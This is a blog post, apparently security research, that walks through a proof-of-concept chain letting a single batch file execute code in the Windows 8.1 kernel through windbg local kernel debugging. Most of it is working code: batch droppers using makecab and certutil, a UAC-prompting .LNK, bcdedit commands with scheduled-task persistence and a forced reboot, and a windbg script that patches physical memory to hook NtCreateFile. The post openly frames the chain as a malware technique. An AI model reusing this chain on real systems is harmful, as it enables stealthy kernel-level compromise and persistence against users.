Batch, attach and patch: using windbg’s local kernel debugger to execute code in windows kernel


In this article I am going to describe a way to execute code in windows kernel by using windbg local kernel debugging. It’s not a vulnerability, I am going to use only windbg’s legal functionality, and I am going to use only a batch file (not powershell, or vbs, an old style batch only) and some Microsoft’s signed executables (some of them that are already in the system and windbg, that we will be dumped from the batch file).

With this method it is not necessary to launch executables at user mode (only Microsoft signed executables) or load signed drivers. PatchGuard and other protections don’t stop us. We put our code directly into kernel memory space and we hook some point to get a thread executing it. As we will demonstrate, a malware consisting of a simple batch file would be able to jump to kernel, enabling local kernel debugging and using windbg to get its code being executed in kernel.

The article has five parts:

  1. Dumping files embedded into the batch file: a couple of methods for embedding and dumping binary files into the batch file.
  2. Executing the batch file as administrator: here a method to show the UAC prompt from the batch file (without using powershell, vbs…)
  3. Enabling local kernel debugging: how to enable local kernel debugging from the batch.
  4. Patch kernel  memory with windbg to inject and execute our code in kernel mode: a way to patch kernel memory and execute our code in kernel by using windbg local kernel debugging from the batch file).
  5. Finally, we will put all these things together to make a proof-of-concept batch file that will target a windows 8.1 x64 machine, and we will do some tests.

 

1) Dumping files embedded into the batch file to disk

Probably, there are lot of ways to dump files embbeded into a bat to disk. Here I’m going to talk about a couple of methods.

1.1) Create a .bat that is a .cab too:

It is possible to use the Microsoft tool makecab.exe (or cabarc.exe in previous versions of windows) to create a CAB file. This CAB file will contains the files that we want to dump, compressed. But we will add too a first file uncompressed, our batch file.

To use makecab.exe we have to give to it the path to a .ddf file as parameter: makecab.exe /F makecab.ddf.  This .ddf file instructs makecab.exe to create the CAB file. You can find information about makecab.exe here and about microsoft cabinet format here.

Let’s suppose we have a file setup.exe (a executable that we want to dump to disk) and a file setup.bat (the main batch file).

Setup.bat:

@echo off
mkdir expanded
expand %0 expanded -F:*
expanded\setup.exe
pause
goto:eof

We need to create a .ddf file to instruct makecab.exe to create a CAB containing setup.bat and setup.exe:

Makecab.ddf:

.OPTION EXPLICIT ; Generate errors on variable typos
.Set Cabinet=on
.Set Compress=off
.Set InfAttr= ; Turn off read-only, etc. attrs
setup.bat 
.Set Cabinet=on
.Set Compress=on
setup.exe

Having setup.exe, setup.bat and makecab.ddf in the same directory, we execute: makecab.exe /F makecab.ddf, and we get the CAB file.

CAB file contents:

CAB_bat_file

As we can see the CAB file contains a first file: the batch script uncompressed, and a second file: setup.exe compressed. If we rename the .cab file to .bat, and we execute the .bat file, it is executed without problems. The first binary contents (the CAB header) is ignored by the batch interpreter (it tries to execute it but it prints error messages), and when the interpreter finds the batch uncompressed code it executes this code without problems. As we can see this batch code executes expand.exe passing as parameter the own .bat file (that is a CAB file too), and the CAB file is uncompressed to the directory “expanded”. After that, setup.exe is executed.

1.2) Dump ascii encoded binaries and decode them with certutil.exe:

In this case we are going to use the tool certutil.exe (info here) to encode a binary file to text, that we will embed into the batch file:

certutil -encode file.bin file.enc

file.bin is a binary file that contains:

0x00 0x11 0x22 0x33 0x44 0x55 0x66 0x77 0x88 0x99 0xaa 0xbb 0xcc 0xdd 0xee 0xff

After encoding it, we get a text file, file.enc:

-----BEGIN CERTIFICATE-----
ABEiM0RVZneImaq7zN3u/w==
-----END CERTIFICATE-----

We will embed this text into the batch file, that will dump it to disk, and will use certutil -decode to decode this text to binary file again.

Batch file:

@echo off
call:DumpBlock setup.bat "%temp%\file.enc" _____binstart_____ _____binend_____
certutil -decode "%temp%\file.enc" "%temp%\file.bin"
goto:eof

:DumpBlock
@echo off
SetLocal EnableDelayedExpansion
echo. %~1 %~2 %~3 %~4
set SrcFile=%~1
set DestFile=%~2
set StartBlockMark=%~3
set EndBlockMark=%~4
set Flag=0
del /F %DestFile%
for /f "tokens=* delims=" %%a in ('type %SrcFile%') do (
if !Flag! EQU 2 (echo "set Flag=1"&set Flag=1)
if /i "%StartBlockMark%" EQU "%%a" (echo "set Flag=2"&set Flag=2) 
if /i "%EndBlockMark%" EQU "%%a" (echo "set Flag=0"&set Flag=0) 
if !Flag! EQU 1 (echo %%a >> %DestFile%)
)
goto:eof
@echo off
 if "%~1"=="" (call :usage) else call :%*
exit /b

_____binstart_____
-----BEGIN CERTIFICATE-----
ABEiM0RVZneImaq7zN3u/w==
-----END CERTIFICATE-----
_____binend_____

 

As we can see in the previous code, there is a function named DumpBlock. This function receive as parameter a path to a file and two labels into the batch file, and it dumps to the file the content between both labels. After dumping the text to a file (file.enc), it calls to certutil to decode it to binary: certutil -decode file.enc file.bin. In this way we can embed as files (executables or any type of file) as we want into the batch file and dump them when the script is executed.

 

2) Executing the batch file as administrator

If you use PowerShell or Vbs there are different ways to force to show the UAC prompt asking the user to let our application to execute as administrator. But I wanted to use only batch syntax.

For showing UAC prompt from a batch file i decided to use other method: dumping a .LNK file pointing to my own batch file. This .LNK will be marked with the option “Run as administrator”. In this way, when the .LNK re-launch our batch file, if we don’t have administrator privileges, the UAC prompt will be shown.

To create the .LNK, we create a simple windows link, and we set the “Run as administrator” option:

run_as_administrator_link_to_bat

 

If we compare a .lnk with “Run as admin” with other one without this option, we can see that only a flag changes:

difference_lnkadmin_lnknoadmin

We have to do a last thing to create our .LNK. When we create it, windows insert absolute paths to the target, but the LNK file admits relative path and environment variables. So we will open with with a hexadecimal editor and we change absolute paths for relative paths:  .\setup.bat  or paths with env vars:  %temp%\setup.bat  i.e:

lnk_modified_relative_paths

The last step is to embed this .lnk into the batch file and dump it with one of the methods exposed in the first section. When the .LNK file is in this we copy our bat to %temp%\setu_.bat and we execute it through the .lnk file:

Batch:

if "%CD%" == "%systemroot%\system32" (
 if "%~dp0" == "%TEMP%\" (
 rem HERE WE ARE BEING EXECUTED AS ADMIN 
 goto:eof
 )
)
copy setup.bat "%temp%\setu_.bat"
start %temp%\promptUAC.lnk

3) Enabling local kernel debugging

For enabling local kernel debugging it is necessary to reboot the computer (this is a mitigation for this method of jumping to kernel memory). Anyway a malware would not have too much problems in enabling local kernel debugging and rebooting from the batch with this simple code:

Batch:

IF [%1]==[/DOONLOGON] GOTO ONLOGON
bcdedit /debug on
bcdedit /dbgsettings local
schtasks /create /sc onlogon /tn setup /rl highest /tr "%0 /DOONLOGON"
shutdown /r /f
GOTO DONE
:ONLOGON
rem here local debugging is enabled and we run as administrator
:DONE

You can see how the script enables local kernel debugging, it installs a task for being executed after rebooting, and it restarts the computer.

4) Patch kernel memory with windbg to inject and execute our code in kernel mode

With the methods employed in the previous sections we have dumped all the needed files to disk, we have showed the UAC prompt to get administrator privileges, and we have enabled kernel local debugging. The next and last step is to patch windows kernel memory to put our code there, and hook some function in kernel to get our code executed.

For doing this, we will launch windbg with -kl option (kernel local debugging) and -c option to launch our windbg script:

start /min windbg -y "SRV*c:\symbols*http://msdl.microsoft.com/download/symbols" -c"$$><jmpkernel_hookcreatefile.wdbg;q" -kl

And the most important part of this, is the windbg script jmpkernel_hookcreatefile.wdbg. You can see the code of this script in next paragraphs (as you will see the code of the script is well commented to understand perfectly how it works).

In the script some addresses are hardcoded for my target testing machine. The target machine is an Windows 8.1 Pro N x64, and ntoskrnl version is 6.3.9600.17668. It would be easy to adapt the script for other machines or making a generic script without hardcoded adressess. Anyway, because this is only a PoC, i did it with some hardcoded addresses to not complicate it too much.

The most important thing to comment of this script and the key to patch kernel memory from windbg local debugger is to use physical address to write the memory. Local kernel debugger doesn’t let us to modify some kernel memory address (for example, if we want to patch NtCreateFile function, it won’t let us). However we can transform the target virtual address to physical address, and write our modifications to the physical address.

The command to transform VA to physical address is !vtop. The command to write to physical address is !eb.

We will dump windbg from the batch file too. Embedding the entire windbg installation it would be crazy. But we only need a couple of commands, so we only need to embed a subset of windbg’s binaries, exactly these:

dbgeng.dll
dbghelp.dll
kdexts.dll
kext.dll
symsrv.dll
symsrv.yes
windbg.exe

We will embed these files into the batch file, we will dump them together the script file, and we will execute windbg with the script. After executing the script, nt!NtCreateFile function will be hooked. We have used the memory space of nt!KeBugCheckEx to put our code there, then we hook a call into nt!NtCreateFile to call to our code in nt!KeBugCheckEx. From our code in nt!KeBugCheckEx, we jump to the original destination of the call, so the funcion is hooked and our code executed, but the system continues working without problems.

 

Jmpkernel_hookcreatefile.wdbg:

.load kext.dll
.load kdexts.dll

.block
{
 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
 $$ Get the Physical Adress of NtCreateFile
 $$

 $$ get the address of nt!NtCreateFile 
 ? nt!NtCreateFile

 $$ @$exp contains the address of NtCreateFile, so we create a alias for it
 aS /x va @$exp
 
 .block
 {
   $$ get the physical address of NtCreateFile
   !vtop 0 va

   $$ parse the results of vtop
   r @$t1 = 0
   .foreach (tok { !vtop 0 va })
   { 
     .catch 
     { 
       .printf "tok"
       .printf "\n"
       .if(@$t1==1)
       { 
         r @$t1 = ${tok}
         .break
       }
 
       $$ in the results of vtop, when we find "phys" token, after it, it comes the physical address
       .if($spat("${tok}","phys"))
       { 
         r @$t1 = 1
       }
     }
   }
 } 
 ad va
 
 $$ after parsing vtop results we keep the physical address in @$t1, we create a alias
 aS /x phaNtCreateFile @$t1
 

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
 $$ Get the Physical Adress of KeBugCheckEx
 $$

 $$ get the address of nt!KeBugCheckEx 
 ? nt!KeBugCheckEx

 $$ @$exp contains the address of KeBugCheckEx, so we create a alias for it
 aS /x va @$exp
 
 .block
 {
   $$ get the physical address of KeBugCheckEx
   !vtop 0 va

   $$ parse the results of vtop
   r @$t1 = 0
   .foreach (tok { !vtop 0 va })
   { 
     .catch 
     { 
       .printf "tok"
       .printf "\n"
       .if(@$t1==1)
       { 
         r @$t1 = ${tok}
         .break
       }
 
       $$ in the results of vtop, when we find "phys" token, after it, it comes the physical address
       .if($spat("${tok}","phys"))
       { 
         r @$t1 = 1
       }
     }
   }
 } 
 ad va
 
 $$ after parsing vtop results we keep the physical address in @$t1, we create a alias
 aS /x phaKeBugCheckEx @$t1
 
 
 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
 $$ Write our code to KeBugCheckEx (we will use the memory space of this function coz it wont be called unless
 $$ the system crashes)
 $$
 
 .block
 {
   .printf "nt!NtCreateFile physical address %p\n", phaNtCreateFile
   .printf "nt!NtKeyBugCheck physical address %p\n", phaKeBugCheckEx
 
   $$ now we are going to write our code to KeBugCheckEx. It's only some simple nops operations for the PoC, 
   $$ but we could find enough space to write an entire rootkit
 
   !eb phaKeBugCheckEx 90 90 90 90 90 90 90 90 

   $$ Now lets see the code of nt!NtCreateFile in the target system (win 8.1 x64 ntoskrnl version is 6.3.9600.17668)
   $$
   $$ nt!NtCreateFile:
   $$ fffff803f846020 4c8bdc mov r11,rsp
   $$ fffff803f846023 4881ec88000000 sub rsp,88h
   $$ fffff803f84602a 33c0 xor eax,eax
   $$ fffff803f84602c 498943f0 mov qword ptr [r11-10h],rax
   $$ fffff803f846030 c744247020000000 mov dword ptr [rsp+70h],20h
   $$ fffff803f846038 89442468 mov dword ptr [rsp+68h],eax
   $$ fffff803f84603c 498943d8 mov qword ptr [r11-28h],rax
   $$ fffff803f846040 89442458 mov dword ptr [rsp+58h],eax
   $$ fffff803f846044 8b8424e0000000 mov eax,dword ptr [rsp+0E0h]
   $$ fffff803f84604b 89442450 mov dword ptr [rsp+50h],eax
   $$ fffff803f84604f 488b8424d8000000 mov rax,qword ptr [rsp+0D8h]
   $$ fffff803f846057 498943c0 mov qword ptr [r11-40h],rax
   $$ fffff803f84605b 8b8424d0000000 mov eax,dword ptr [rsp+0D0h]
   $$ fffff803f846062 89442440 mov dword ptr [rsp+40h],eax
   $$ fffff803f846066 8b8424c8000000 mov eax,dword ptr [rsp+0C8h]
   $$ fffff803f84606d 89442438 mov dword ptr [rsp+38h],eax
   $$ fffff803f846071 8b8424c0000000 mov eax,dword ptr [rsp+0C0h]
   $$ fffff803f846078 89442430 mov dword ptr [rsp+30h],eax
   $$ fffff803f84607c 8b8424b8000000 mov eax,dword ptr [rsp+0B8h]
   $$ fffff803f846083 89442428 mov dword ptr [rsp+28h],eax
   $$ fffff803f846087 488b8424b0000000 mov rax,qword ptr [rsp+0B0h]
   $$ fffff803f84608f 49894398 mov qword ptr [r11-68h],rax
   $$ fffff803f846093 e808000000 call nt!IopCreateFile (fffff803ef8460a0)  <-------------------------
 
   $$ to do it easier, we will hook the call to nt!IopCreateFile. This call is at nt!NtCreateFile + 0x73
  
   $$ in the code that we have written in KeBugCheck, we have to put a jmp to continue the execution 
   $$ at nt!IopCreateFile (after the 90 90 90 90 90 90 90 90 that we wrote). Remember that E9 instruction 
   $$ is a relative jump and the value that the instruction admits as parameter is the difference of: 
   $$ target_address - (E9_ins_address+5).
   $$ We need to have precalculated (nt!IopCreateFile)-(nt!KeBugCheckEx+8+5) = 0x002eb6f3 because !eb 
   $$ needs that we pass immediate values
 
   r $t1 = phaKeBugCheckEx
   r $t1 = $t1 + 8
   !eb $t1 E9 f3 b6 2e 00


   $$ finally hook the call nt!IopCreateFile, it will be executed the next time that NtCreateFile was called and it
   $$ will jmp to our code. We need precalculate the relative jump value: (nt!KeBugCheckEx-(nt!NtCreateFile+0x73+5)) = 0xffd14908
   $$ because !eb needs we pass inmediate values (i have to research to avoid needing to have these values precalculated)
 
   r $t1 = phaNtCreateFile
   r $t1 = $t1 + 0x74
   !eb $t1 08 49 d1 ff

 }
 ad *
}

5) Putting all together

For ending, we are going to create a Proof-of-Concept by using all the things exposed in the previous sections. You can find the proof-of-concept code and binaries here:

https://github.com/vallejocc/patch_kernel_from_batch

You can find a capture of the proof-of-concept working here:

 

 

Advertisements

One thought on “Batch, attach and patch: using windbg’s local kernel debugger to execute code in windows kernel

  1. Clever. You do realize though that the reason PatchGuard doesn’t catch this is that you disable it by enabling kernel debugging. Your screen image wasn’t clear enough to see the normal warning that is displayed in the bottom right corner when you do that… Was it not shown?

    Liked by 1 person

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s